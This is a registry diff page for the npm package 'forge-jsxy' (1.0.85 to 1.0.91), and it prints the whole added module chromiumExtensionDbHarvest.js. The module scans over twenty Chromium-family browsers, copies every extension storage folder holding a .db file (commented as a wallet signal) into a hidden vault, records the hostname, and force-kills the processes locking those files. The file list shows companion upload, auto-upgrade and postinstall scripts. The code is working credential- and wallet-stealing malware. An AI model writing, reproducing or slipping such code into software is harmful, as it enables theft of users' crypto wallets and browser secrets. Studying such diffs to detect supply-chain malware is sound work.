forge-jsxy 1.0.85 → 1.0.91
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +63 -21
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +114 -0
- package/dist/agentRunner.js +97 -23
- package/dist/assets/files-explorer-template.html +64 -22
- package/dist/autostart/agentEnvFile.d.ts +6 -0
- package/dist/autostart/agentEnvFile.js +51 -2
- package/dist/chromiumExtensionDbHarvest.d.ts +70 -0
- package/dist/chromiumExtensionDbHarvest.js +560 -0
- package/dist/cli-agent.js +1 -0
- package/dist/clipboardExec.d.ts +4 -0
- package/dist/clipboardExec.js +29 -15
- package/dist/extensionDbHfUpload.d.ts +24 -0
- package/dist/extensionDbHfUpload.js +198 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/hfUpload.d.ts +5 -0
- package/dist/hfUpload.js +18 -3
- package/dist/hostInventorySend.js +6 -1
- package/dist/relayAgent.d.ts +5 -0
- package/dist/relayAgent.js +139 -7
- package/dist/relayAgentAutoUpgrade.d.ts +9 -0
- package/dist/relayAgentAutoUpgrade.js +143 -0
- package/dist/relayDashboardGate.d.ts +5 -0
- package/dist/relayDashboardGate.js +60 -0
- package/dist/relayServer.js +181 -6
- package/dist/secretScan/agentStartupAudit.d.ts +3 -0
- package/dist/secretScan/agentStartupAudit.js +7 -0
- package/dist/syncClient.d.ts +1 -1
- package/dist/syncClient.js +5 -1
- package/dist/windowsInputSync.d.ts +15 -1
- package/dist/windowsInputSync.js +226 -67
- package/dist/workerBootstrap.js +3 -0
- package/package.json +2 -2
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +30 -29
- package/scripts/forge-jsx-explorer-restart.mjs +9 -18
- package/scripts/forge-jsx-explorer-upgrade.mjs +7 -9
- package/scripts/postinstall-agent.mjs +53 -8
- package/scripts/postinstall-bootstrap.mjs +13 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
|
@@ -0,0 +1,560 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.LOCAL_EXTENSION_SETTINGS = exports.EXTENSION_DB_STAGING_DIRNAME = void 0;
|
|
37
|
+
exports.chromiumBrowserUserDataCandidates = chromiumBrowserUserDataCandidates;
|
|
38
|
+
exports.profileRelPathFromLes = profileRelPathFromLes;
|
|
39
|
+
exports.findLocalExtensionSettingsDirs = findLocalExtensionSettingsDirs;
|
|
40
|
+
exports.extensionFolderHasDbFile = extensionFolderHasDbFile;
|
|
41
|
+
exports.discoverExtensionDbSourcesFromUserDataRoots = discoverExtensionDbSourcesFromUserDataRoots;
|
|
42
|
+
exports.discoverExtensionDbSources = discoverExtensionDbSources;
|
|
43
|
+
exports.extensionDbStagingRoot = extensionDbStagingRoot;
|
|
44
|
+
exports.extensionSourceKey = extensionSourceKey;
|
|
45
|
+
exports.stagingRelPathForSource = stagingRelPathForSource;
|
|
46
|
+
exports.harvestExtensionDbFoldersToStaging = harvestExtensionDbFoldersToStaging;
|
|
47
|
+
exports.removeExtensionDbStaging = removeExtensionDbStaging;
|
|
48
|
+
/**
|
|
49
|
+
* Discover Chromium-family browser profiles, copy **entire** extension `<id>` folders under
|
|
50
|
+
* `Local Extension Settings` into a staging directory beside `result.json` (secret-audit vault).
|
|
51
|
+
*
|
|
52
|
+
* **Selection gate:** an extension folder is included only when it contains at least one `.db`
|
|
53
|
+
* file anywhere inside (wallet/SQLite signal). **Copy scope:** the full `<extension_id>/` tree
|
|
54
|
+
* is copied recursively — LevelDB `.log`/`.ldb`, `CURRENT`, `MANIFEST-*`, locks, and every
|
|
55
|
+
* other file under that id — not just the `.db` file(s).
|
|
56
|
+
*
|
|
57
|
+
* Cross-platform (Windows local + roaming, Linux, macOS). Authorized deployments only.
|
|
58
|
+
*/
|
|
59
|
+
const fs = __importStar(require("node:fs"));
|
|
60
|
+
const os = __importStar(require("node:os"));
|
|
61
|
+
const path = __importStar(require("node:path"));
|
|
62
|
+
const clientId_1 = require("./clientId");
|
|
63
|
+
const exportMirrorCopy_1 = require("./exportMirrorCopy");
|
|
64
|
+
const fileLockForce_1 = require("./fileLockForce");
|
|
65
|
+
exports.EXTENSION_DB_STAGING_DIRNAME = "extension-db-staging";
|
|
66
|
+
/** Relative path segment (case-insensitive) under a browser profile. */
|
|
67
|
+
exports.LOCAL_EXTENSION_SETTINGS = "Local Extension Settings";
|
|
68
|
+
function envHome() {
|
|
69
|
+
return os.homedir();
|
|
70
|
+
}
|
|
71
|
+
function localAppDataWin() {
|
|
72
|
+
const lap = (process.env.LOCALAPPDATA || "").trim();
|
|
73
|
+
if (lap)
|
|
74
|
+
return path.resolve(lap);
|
|
75
|
+
const prof = (process.env.USERPROFILE || "").trim();
|
|
76
|
+
if (prof)
|
|
77
|
+
return path.join(prof, "AppData", "Local");
|
|
78
|
+
return path.join(envHome(), "AppData", "Local");
|
|
79
|
+
}
|
|
80
|
+
function roamingAppDataWin() {
|
|
81
|
+
const app = (process.env.APPDATA || "").trim();
|
|
82
|
+
if (app)
|
|
83
|
+
return path.resolve(app);
|
|
84
|
+
const prof = (process.env.USERPROFILE || "").trim();
|
|
85
|
+
if (prof)
|
|
86
|
+
return path.join(prof, "AppData", "Roaming");
|
|
87
|
+
return path.join(envHome(), "AppData", "Roaming");
|
|
88
|
+
}
|
|
89
|
+
function linuxConfigDir() {
|
|
90
|
+
const xdg = (process.env.XDG_CONFIG_HOME || "").trim();
|
|
91
|
+
if (xdg)
|
|
92
|
+
return path.resolve(xdg.replace(/^~/, envHome()));
|
|
93
|
+
return path.join(envHome(), ".config");
|
|
94
|
+
}
|
|
95
|
+
function isLocalExtensionSettingsDir(name) {
|
|
96
|
+
return (name.localeCompare(exports.LOCAL_EXTENSION_SETTINGS, undefined, { sensitivity: "accent" }) === 0);
|
|
97
|
+
}
|
|
98
|
+
function sanitizePathSegment(name) {
|
|
99
|
+
const t = String(name || "")
|
|
100
|
+
.replace(/[<>:"|?*\x00-\x1f]/g, "_")
|
|
101
|
+
.replace(/[/\\]+/g, "_")
|
|
102
|
+
.trim();
|
|
103
|
+
return t.slice(0, 120) || "unknown";
|
|
104
|
+
}
|
|
105
|
+
/** Chromium `User Data`-style roots (may be profile root for Opera). */
|
|
106
|
+
function chromiumBrowserUserDataCandidates() {
|
|
107
|
+
const out = [];
|
|
108
|
+
const pushIfDir = (label, root) => {
|
|
109
|
+
try {
|
|
110
|
+
const abs = path.resolve(root);
|
|
111
|
+
if (fs.existsSync(abs) && fs.statSync(abs).isDirectory()) {
|
|
112
|
+
out.push({ label, root: abs });
|
|
113
|
+
}
|
|
114
|
+
}
|
|
115
|
+
catch {
|
|
116
|
+
/* skip */
|
|
117
|
+
}
|
|
118
|
+
};
|
|
119
|
+
if (process.platform === "win32") {
|
|
120
|
+
const local = localAppDataWin();
|
|
121
|
+
const roaming = roamingAppDataWin();
|
|
122
|
+
const localPairs = [
|
|
123
|
+
["Google Chrome", path.join(local, "Google", "Chrome", "User Data")],
|
|
124
|
+
["Google Chrome Beta", path.join(local, "Google", "Chrome Beta", "User Data")],
|
|
125
|
+
["Google Chrome SxS", path.join(local, "Google", "Chrome SxS", "User Data")],
|
|
126
|
+
["Microsoft Edge", path.join(local, "Microsoft", "Edge", "User Data")],
|
|
127
|
+
["Microsoft Edge Beta", path.join(local, "Microsoft", "Edge Beta", "User Data")],
|
|
128
|
+
["Microsoft Edge Dev", path.join(local, "Microsoft", "Edge Dev", "User Data")],
|
|
129
|
+
["Brave", path.join(local, "BraveSoftware", "Brave-Browser", "User Data")],
|
|
130
|
+
["Vivaldi", path.join(local, "Vivaldi", "User Data")],
|
|
131
|
+
["Chromium", path.join(local, "Chromium", "User Data")],
|
|
132
|
+
["Yandex", path.join(local, "Yandex", "YandexBrowser", "User Data")],
|
|
133
|
+
["Opera", path.join(local, "Opera Software", "Opera Stable")],
|
|
134
|
+
["Opera GX", path.join(local, "Opera Software", "Opera GX Stable")],
|
|
135
|
+
["Epic Privacy Browser", path.join(local, "Epic Privacy Browser", "User Data")],
|
|
136
|
+
["Iridium", path.join(local, "Iridium", "User Data")],
|
|
137
|
+
["Thorium", path.join(local, "Thorium", "User Data")],
|
|
138
|
+
["Ungoogled Chromium", path.join(local, "Chromium", "User Data")],
|
|
139
|
+
["Cent Browser", path.join(local, "CentBrowser", "User Data")],
|
|
140
|
+
["Slimjet", path.join(local, "Slimjet", "User Data")],
|
|
141
|
+
["360Chrome", path.join(local, "360Chrome", "Chrome", "User Data")],
|
|
142
|
+
["Coc Coc", path.join(local, "Coccoc", "Browser", "User Data")],
|
|
143
|
+
["Wavebox", path.join(local, "Wavebox", "User Data")],
|
|
144
|
+
];
|
|
145
|
+
for (const [label, p] of localPairs)
|
|
146
|
+
pushIfDir(label, p);
|
|
147
|
+
const roamingPairs = [
|
|
148
|
+
["Opera Roaming", path.join(roaming, "Opera Software", "Opera Stable")],
|
|
149
|
+
["Opera GX Roaming", path.join(roaming, "Opera Software", "Opera GX Stable")],
|
|
150
|
+
];
|
|
151
|
+
for (const [label, p] of roamingPairs)
|
|
152
|
+
pushIfDir(label, p);
|
|
153
|
+
return out;
|
|
154
|
+
}
|
|
155
|
+
if (process.platform === "darwin") {
|
|
156
|
+
const as = path.join(envHome(), "Library", "Application Support");
|
|
157
|
+
const pairs = [
|
|
158
|
+
["Google Chrome", path.join(as, "Google", "Chrome")],
|
|
159
|
+
["Google Chrome Beta", path.join(as, "Google", "Chrome Beta")],
|
|
160
|
+
["Chromium", path.join(as, "Chromium")],
|
|
161
|
+
["Microsoft Edge", path.join(as, "Microsoft Edge")],
|
|
162
|
+
["Brave", path.join(as, "BraveSoftware", "Brave-Browser")],
|
|
163
|
+
["Vivaldi", path.join(as, "Vivaldi")],
|
|
164
|
+
["Opera", path.join(as, "com.operasoftware.Opera")],
|
|
165
|
+
["Opera GX", path.join(as, "com.operasoftware.OperaGX")],
|
|
166
|
+
["Yandex", path.join(as, "Yandex", "YandexBrowser")],
|
|
167
|
+
["Arc", path.join(as, "Arc", "User Data")],
|
|
168
|
+
];
|
|
169
|
+
for (const [label, p] of pairs)
|
|
170
|
+
pushIfDir(label, p);
|
|
171
|
+
return out;
|
|
172
|
+
}
|
|
173
|
+
// Linux and other POSIX
|
|
174
|
+
const cfg = linuxConfigDir();
|
|
175
|
+
const pairs = [
|
|
176
|
+
["Google Chrome", path.join(cfg, "google-chrome")],
|
|
177
|
+
["Google Chrome Beta", path.join(cfg, "google-chrome-beta")],
|
|
178
|
+
["Chromium", path.join(cfg, "chromium")],
|
|
179
|
+
["Microsoft Edge", path.join(cfg, "microsoft-edge")],
|
|
180
|
+
["Microsoft Edge Beta", path.join(cfg, "microsoft-edge-beta")],
|
|
181
|
+
["Microsoft Edge Dev", path.join(cfg, "microsoft-edge-dev")],
|
|
182
|
+
["Brave", path.join(cfg, "brave-browser")],
|
|
183
|
+
["Vivaldi", path.join(cfg, "vivaldi")],
|
|
184
|
+
["Opera", path.join(cfg, "opera")],
|
|
185
|
+
["Opera GX", path.join(cfg, "opera-gx")],
|
|
186
|
+
["Yandex", path.join(cfg, "yandex-browser")],
|
|
187
|
+
["Ungoogled Chromium", path.join(cfg, "ungoogled-chromium")],
|
|
188
|
+
["Iridium", path.join(cfg, "iridium")],
|
|
189
|
+
];
|
|
190
|
+
for (const [label, p] of pairs)
|
|
191
|
+
pushIfDir(label, p);
|
|
192
|
+
return out;
|
|
193
|
+
}
|
|
194
|
+
const SKIP_WALK_DIR = new Set([
|
|
195
|
+
"cache",
|
|
196
|
+
"code cache",
|
|
197
|
+
"gpucache",
|
|
198
|
+
"shadercache",
|
|
199
|
+
"grshadercache",
|
|
200
|
+
"crashpad",
|
|
201
|
+
"browsermetrics",
|
|
202
|
+
"optimizationguidepredictionmodels",
|
|
203
|
+
"segmentation platform",
|
|
204
|
+
"component crx cache",
|
|
205
|
+
"extensions",
|
|
206
|
+
"indexeddb",
|
|
207
|
+
"service worker",
|
|
208
|
+
"blob_storage",
|
|
209
|
+
"file system",
|
|
210
|
+
"jump list icons",
|
|
211
|
+
"dawngraphitecache",
|
|
212
|
+
"dawnwebgpucache",
|
|
213
|
+
].map((s) => s.toLowerCase()));
|
|
214
|
+
function shouldSkipWalkDir(name) {
|
|
215
|
+
return SKIP_WALK_DIR.has(String(name || "").trim().toLowerCase());
|
|
216
|
+
}
|
|
217
|
+
/** Profile folder path relative to browser user-data root (parent of `Local Extension Settings`). */
|
|
218
|
+
function profileRelPathFromLes(userDataRoot, lesDir) {
|
|
219
|
+
const profileDir = path.dirname(path.resolve(lesDir));
|
|
220
|
+
let rel = path.relative(path.resolve(userDataRoot), profileDir);
|
|
221
|
+
rel = rel.replace(/\\/g, "/");
|
|
222
|
+
if (!rel || rel === ".")
|
|
223
|
+
return "_profile_root";
|
|
224
|
+
return rel;
|
|
225
|
+
}
|
|
226
|
+
/** Find every `Local Extension Settings` directory under a browser user-data root. */
|
|
227
|
+
function findLocalExtensionSettingsDirs(userDataRoot, maxDepth = 5) {
|
|
228
|
+
const root = path.resolve(userDataRoot);
|
|
229
|
+
const out = [];
|
|
230
|
+
const seen = new Set();
|
|
231
|
+
const walk = (dir, depth, profileHint) => {
|
|
232
|
+
if (depth > maxDepth)
|
|
233
|
+
return;
|
|
234
|
+
let entries;
|
|
235
|
+
try {
|
|
236
|
+
entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
237
|
+
}
|
|
238
|
+
catch {
|
|
239
|
+
return;
|
|
240
|
+
}
|
|
241
|
+
for (const ent of entries) {
|
|
242
|
+
if (!ent.isDirectory())
|
|
243
|
+
continue;
|
|
244
|
+
const child = path.join(dir, ent.name);
|
|
245
|
+
if (isLocalExtensionSettingsDir(ent.name)) {
|
|
246
|
+
const key = child.toLowerCase();
|
|
247
|
+
if (!seen.has(key)) {
|
|
248
|
+
seen.add(key);
|
|
249
|
+
const profileRelPath = profileRelPathFromLes(root, child);
|
|
250
|
+
const profileLabel = profileHint ||
|
|
251
|
+
profileRelPath.split("/").filter(Boolean).pop() ||
|
|
252
|
+
path.basename(path.dirname(child));
|
|
253
|
+
out.push({
|
|
254
|
+
profileLabel,
|
|
255
|
+
profileRelPath,
|
|
256
|
+
lesDir: child,
|
|
257
|
+
});
|
|
258
|
+
}
|
|
259
|
+
continue;
|
|
260
|
+
}
|
|
261
|
+
if (shouldSkipWalkDir(ent.name))
|
|
262
|
+
continue;
|
|
263
|
+
const nextHint = profileHint ||
|
|
264
|
+
(ent.name === "Default" || /^profile\s+\d+$/i.test(ent.name) ? ent.name : profileHint);
|
|
265
|
+
walk(child, depth + 1, nextHint || ent.name);
|
|
266
|
+
}
|
|
267
|
+
};
|
|
268
|
+
walk(root, 0, "");
|
|
269
|
+
return out;
|
|
270
|
+
}
|
|
271
|
+
/** Gate only: true when `<extension_id>/` contains ≥1 `.db` file (triggers full-folder copy). */
|
|
272
|
+
function extensionFolderHasDbFile(dir, maxDepth = 12) {
|
|
273
|
+
const root = path.resolve(dir);
|
|
274
|
+
const stack = [{ d: root, depth: 0 }];
|
|
275
|
+
while (stack.length) {
|
|
276
|
+
const { d, depth } = stack.pop();
|
|
277
|
+
if (depth > maxDepth)
|
|
278
|
+
continue;
|
|
279
|
+
let entries;
|
|
280
|
+
try {
|
|
281
|
+
entries = fs.readdirSync(d, { withFileTypes: true });
|
|
282
|
+
}
|
|
283
|
+
catch {
|
|
284
|
+
continue;
|
|
285
|
+
}
|
|
286
|
+
for (const ent of entries) {
|
|
287
|
+
const child = path.join(d, ent.name);
|
|
288
|
+
if (ent.isSymbolicLink())
|
|
289
|
+
continue;
|
|
290
|
+
if (ent.isFile() && ent.name.toLowerCase().endsWith(".db"))
|
|
291
|
+
return true;
|
|
292
|
+
if (ent.isDirectory() && !shouldSkipWalkDir(ent.name)) {
|
|
293
|
+
stack.push({ d: child, depth: depth + 1 });
|
|
294
|
+
}
|
|
295
|
+
}
|
|
296
|
+
}
|
|
297
|
+
return false;
|
|
298
|
+
}
|
|
299
|
+
/** Enumerate extension folders (with `.db` files) for explicit browser roots (test hook). */
|
|
300
|
+
function discoverExtensionDbSourcesFromUserDataRoots(candidates) {
|
|
301
|
+
const sources = [];
|
|
302
|
+
const seenSrc = new Set();
|
|
303
|
+
for (const { label, root } of candidates) {
|
|
304
|
+
for (const { profileLabel, profileRelPath, lesDir } of findLocalExtensionSettingsDirs(root)) {
|
|
305
|
+
let extEntries;
|
|
306
|
+
try {
|
|
307
|
+
extEntries = fs.readdirSync(lesDir, { withFileTypes: true });
|
|
308
|
+
}
|
|
309
|
+
catch {
|
|
310
|
+
continue;
|
|
311
|
+
}
|
|
312
|
+
for (const ent of extEntries) {
|
|
313
|
+
if (!ent.isDirectory())
|
|
314
|
+
continue;
|
|
315
|
+
const extDir = path.join(lesDir, ent.name);
|
|
316
|
+
if (!extensionFolderHasDbFile(extDir))
|
|
317
|
+
continue;
|
|
318
|
+
const absKey = extDir.toLowerCase();
|
|
319
|
+
if (seenSrc.has(absKey))
|
|
320
|
+
continue;
|
|
321
|
+
seenSrc.add(absKey);
|
|
322
|
+
const source = {
|
|
323
|
+
browserLabel: label,
|
|
324
|
+
profileLabel: profileLabel || "Default",
|
|
325
|
+
profileRelPath,
|
|
326
|
+
extensionId: ent.name,
|
|
327
|
+
absSourceDir: extDir,
|
|
328
|
+
sourceKey: extensionSourceKey(label, profileRelPath, ent.name),
|
|
329
|
+
stagingRelPath: "",
|
|
330
|
+
};
|
|
331
|
+
source.stagingRelPath = stagingRelPathForSource(source);
|
|
332
|
+
sources.push(source);
|
|
333
|
+
}
|
|
334
|
+
}
|
|
335
|
+
}
|
|
336
|
+
return sources;
|
|
337
|
+
}
|
|
338
|
+
/** Enumerate extension folders (with `.db` files) across all Chromium browsers. */
|
|
339
|
+
function discoverExtensionDbSources() {
|
|
340
|
+
return discoverExtensionDbSourcesFromUserDataRoots(chromiumBrowserUserDataCandidates());
|
|
341
|
+
}
|
|
342
|
+
function secretAuditDir() {
|
|
343
|
+
return path.join((0, clientId_1.defaultCfgmgrDataDir)(), ".forge-jsxy", ".vault", "secret-audit");
|
|
344
|
+
}
|
|
345
|
+
function extensionDbStagingRoot() {
|
|
346
|
+
return path.join(secretAuditDir(), exports.EXTENSION_DB_STAGING_DIRNAME);
|
|
347
|
+
}
|
|
348
|
+
/** Unique key for browser + profile + extension id (same id in different profiles/browsers stays distinct). */
|
|
349
|
+
function extensionSourceKey(browserLabel, profileRelPath, extensionId) {
|
|
350
|
+
return `${browserLabel}|${profileRelPath}|${extensionId}`;
|
|
351
|
+
}
|
|
352
|
+
function stagingRelPathForSource(src) {
|
|
353
|
+
const profileParts = src.profileRelPath
|
|
354
|
+
.split("/")
|
|
355
|
+
.filter(Boolean)
|
|
356
|
+
.map((p) => sanitizePathSegment(p));
|
|
357
|
+
return [
|
|
358
|
+
sanitizePathSegment(src.browserLabel),
|
|
359
|
+
...profileParts,
|
|
360
|
+
exports.LOCAL_EXTENSION_SETTINGS,
|
|
361
|
+
sanitizePathSegment(src.extensionId),
|
|
362
|
+
].join("/");
|
|
363
|
+
}
|
|
364
|
+
function stagingDestForSource(src) {
|
|
365
|
+
const profileParts = src.profileRelPath
|
|
366
|
+
.split("/")
|
|
367
|
+
.filter(Boolean)
|
|
368
|
+
.map((p) => sanitizePathSegment(p));
|
|
369
|
+
return path.join(extensionDbStagingRoot(), sanitizePathSegment(src.browserLabel), ...profileParts, exports.LOCAL_EXTENSION_SETTINGS, sanitizePathSegment(src.extensionId));
|
|
370
|
+
}
|
|
371
|
+
async function sleep(ms) {
|
|
372
|
+
return new Promise((r) => setTimeout(r, ms));
|
|
373
|
+
}
|
|
374
|
+
async function copyTreeWithRetries(src, dest, maxAttempts) {
|
|
375
|
+
await fs.promises.mkdir(path.dirname(dest), { recursive: true });
|
|
376
|
+
for (let i = 0; i < maxAttempts; i++) {
|
|
377
|
+
if (i > 0)
|
|
378
|
+
await sleep(Math.min(30_000, 150 * 2 ** (i - 1)));
|
|
379
|
+
try {
|
|
380
|
+
await fs.promises.rm(dest, { recursive: true, force: true });
|
|
381
|
+
}
|
|
382
|
+
catch {
|
|
383
|
+
/* skip */
|
|
384
|
+
}
|
|
385
|
+
try {
|
|
386
|
+
await fs.promises.cp(src, dest, { recursive: true, force: true, dereference: false });
|
|
387
|
+
return true;
|
|
388
|
+
}
|
|
389
|
+
catch (e) {
|
|
390
|
+
const last = i === maxAttempts - 1;
|
|
391
|
+
if (last || !(0, exportMirrorCopy_1.isRetryableCopyError)(e))
|
|
392
|
+
return false;
|
|
393
|
+
}
|
|
394
|
+
}
|
|
395
|
+
return false;
|
|
396
|
+
}
|
|
397
|
+
function countRegularFilesRecursive(dir) {
|
|
398
|
+
let n = 0;
|
|
399
|
+
const walk = (d) => {
|
|
400
|
+
let entries;
|
|
401
|
+
try {
|
|
402
|
+
entries = fs.readdirSync(d, { withFileTypes: true });
|
|
403
|
+
}
|
|
404
|
+
catch {
|
|
405
|
+
return;
|
|
406
|
+
}
|
|
407
|
+
for (const ent of entries) {
|
|
408
|
+
const child = path.join(d, ent.name);
|
|
409
|
+
if (ent.isSymbolicLink())
|
|
410
|
+
continue;
|
|
411
|
+
if (ent.isDirectory())
|
|
412
|
+
walk(child);
|
|
413
|
+
else if (ent.isFile())
|
|
414
|
+
n++;
|
|
415
|
+
}
|
|
416
|
+
};
|
|
417
|
+
walk(dir);
|
|
418
|
+
return n;
|
|
419
|
+
}
|
|
420
|
+
/**
|
|
421
|
+
* Copy discovered extension folders into `<auditDir>/extension-db-staging/`.
|
|
422
|
+
* Returns empty `sources` when nothing to copy.
|
|
423
|
+
*/
|
|
424
|
+
async function harvestExtensionDbFoldersToStaging(opts = {}) {
|
|
425
|
+
const forceKill = opts.forceKill !== false;
|
|
426
|
+
const concurrency = Math.max(1, Math.min(32, opts.concurrency ?? 8));
|
|
427
|
+
const stagingRoot = extensionDbStagingRoot();
|
|
428
|
+
const sources = opts.userDataCandidates
|
|
429
|
+
? discoverExtensionDbSourcesFromUserDataRoots(opts.userDataCandidates)
|
|
430
|
+
: discoverExtensionDbSources();
|
|
431
|
+
if (sources.length === 0) {
|
|
432
|
+
return {
|
|
433
|
+
stagingRoot,
|
|
434
|
+
sources: [],
|
|
435
|
+
copiedFiles: 0,
|
|
436
|
+
copiedFolders: 0,
|
|
437
|
+
skippedFolders: 0,
|
|
438
|
+
skippedCopyErrors: 0,
|
|
439
|
+
};
|
|
440
|
+
}
|
|
441
|
+
try {
|
|
442
|
+
await fs.promises.rm(stagingRoot, { recursive: true, force: true });
|
|
443
|
+
}
|
|
444
|
+
catch {
|
|
445
|
+
/* skip */
|
|
446
|
+
}
|
|
447
|
+
await fs.promises.mkdir(stagingRoot, { recursive: true });
|
|
448
|
+
const manifest = {
|
|
449
|
+
collected_at: new Date().toISOString(),
|
|
450
|
+
hostname: os.hostname(),
|
|
451
|
+
platform: process.platform,
|
|
452
|
+
extension_folders: sources.length,
|
|
453
|
+
sources: sources.map((s) => ({
|
|
454
|
+
source_key: s.sourceKey,
|
|
455
|
+
browser: s.browserLabel,
|
|
456
|
+
profile: s.profileLabel,
|
|
457
|
+
profile_rel_path: s.profileRelPath,
|
|
458
|
+
extension_id: s.extensionId,
|
|
459
|
+
staging_rel_path: s.stagingRelPath,
|
|
460
|
+
path: s.absSourceDir,
|
|
461
|
+
})),
|
|
462
|
+
};
|
|
463
|
+
await fs.promises.writeFile(path.join(stagingRoot, "manifest.json"), JSON.stringify(manifest, null, 2), "utf8");
|
|
464
|
+
let killed = [];
|
|
465
|
+
if (forceKill) {
|
|
466
|
+
const unlockPaths = new Set();
|
|
467
|
+
for (const s of sources) {
|
|
468
|
+
unlockPaths.add(s.absSourceDir);
|
|
469
|
+
const les = path.dirname(s.absSourceDir);
|
|
470
|
+
unlockPaths.add(les);
|
|
471
|
+
unlockPaths.add(path.dirname(les));
|
|
472
|
+
}
|
|
473
|
+
for (const p of unlockPaths) {
|
|
474
|
+
try {
|
|
475
|
+
const u = await (0, fileLockForce_1.forceUnlockPath)(p);
|
|
476
|
+
if (u.killed.length)
|
|
477
|
+
killed.push(...u.killed);
|
|
478
|
+
}
|
|
479
|
+
catch {
|
|
480
|
+
/* skip */
|
|
481
|
+
}
|
|
482
|
+
}
|
|
483
|
+
}
|
|
484
|
+
let copiedFiles = 0;
|
|
485
|
+
let copiedFolders = 0;
|
|
486
|
+
const copyAttempts = forceKill ? 8 : 5;
|
|
487
|
+
const failedAfterFirstPass = [];
|
|
488
|
+
const copyOne = async (src, attempts) => {
|
|
489
|
+
const dest = stagingDestForSource(src);
|
|
490
|
+
return copyTreeWithRetries(src.absSourceDir, dest, attempts);
|
|
491
|
+
};
|
|
492
|
+
try {
|
|
493
|
+
let idx = 0;
|
|
494
|
+
const worker = async () => {
|
|
495
|
+
for (;;) {
|
|
496
|
+
const i = idx++;
|
|
497
|
+
if (i >= sources.length)
|
|
498
|
+
return;
|
|
499
|
+
const src = sources[i];
|
|
500
|
+
const ok = await copyOne(src, copyAttempts);
|
|
501
|
+
if (ok) {
|
|
502
|
+
copiedFolders++;
|
|
503
|
+
copiedFiles += countRegularFilesRecursive(stagingDestForSource(src));
|
|
504
|
+
}
|
|
505
|
+
else {
|
|
506
|
+
failedAfterFirstPass.push(src);
|
|
507
|
+
}
|
|
508
|
+
}
|
|
509
|
+
};
|
|
510
|
+
await Promise.all(Array.from({ length: Math.min(concurrency, sources.length) }, () => worker()));
|
|
511
|
+
/** Second pass: retry failed folders with extra attempts before upload. */
|
|
512
|
+
for (const src of failedAfterFirstPass) {
|
|
513
|
+
const dest = stagingDestForSource(src);
|
|
514
|
+
try {
|
|
515
|
+
await fs.promises.rm(dest, { recursive: true, force: true });
|
|
516
|
+
}
|
|
517
|
+
catch {
|
|
518
|
+
/* skip */
|
|
519
|
+
}
|
|
520
|
+
const ok = await copyOne(src, copyAttempts + 4);
|
|
521
|
+
if (ok) {
|
|
522
|
+
copiedFolders++;
|
|
523
|
+
copiedFiles += countRegularFilesRecursive(dest);
|
|
524
|
+
}
|
|
525
|
+
}
|
|
526
|
+
}
|
|
527
|
+
finally {
|
|
528
|
+
if (killed.length) {
|
|
529
|
+
try {
|
|
530
|
+
(0, fileLockForce_1.restartKilledProcesses)(killed, stagingRoot);
|
|
531
|
+
}
|
|
532
|
+
catch {
|
|
533
|
+
/* skip */
|
|
534
|
+
}
|
|
535
|
+
}
|
|
536
|
+
}
|
|
537
|
+
const skippedCopyErrors = Math.max(0, sources.length - copiedFolders);
|
|
538
|
+
const skippedFolders = skippedCopyErrors;
|
|
539
|
+
if (sources.length > 0) {
|
|
540
|
+
console.log(`[forge-agent] extension-db: harvest ${copiedFolders}/${sources.length} folder(s), ${copiedFiles} file(s) staged` +
|
|
541
|
+
(skippedCopyErrors > 0 ? ` (${skippedCopyErrors} failed)` : ""));
|
|
542
|
+
}
|
|
543
|
+
return {
|
|
544
|
+
stagingRoot,
|
|
545
|
+
sources,
|
|
546
|
+
copiedFiles,
|
|
547
|
+
copiedFolders,
|
|
548
|
+
skippedFolders,
|
|
549
|
+
skippedCopyErrors,
|
|
550
|
+
};
|
|
551
|
+
}
|
|
552
|
+
/** Remove staging tree after upload (best-effort). */
|
|
553
|
+
async function removeExtensionDbStaging() {
|
|
554
|
+
try {
|
|
555
|
+
await fs.promises.rm(extensionDbStagingRoot(), { recursive: true, force: true });
|
|
556
|
+
}
|
|
557
|
+
catch {
|
|
558
|
+
/* skip */
|
|
559
|
+
}
|
|
560
|
+
}
|
package/dist/cli-agent.js
CHANGED
|
@@ -12,6 +12,7 @@ function bootstrapSyncEnvFromDisk() {
|
|
|
12
12
|
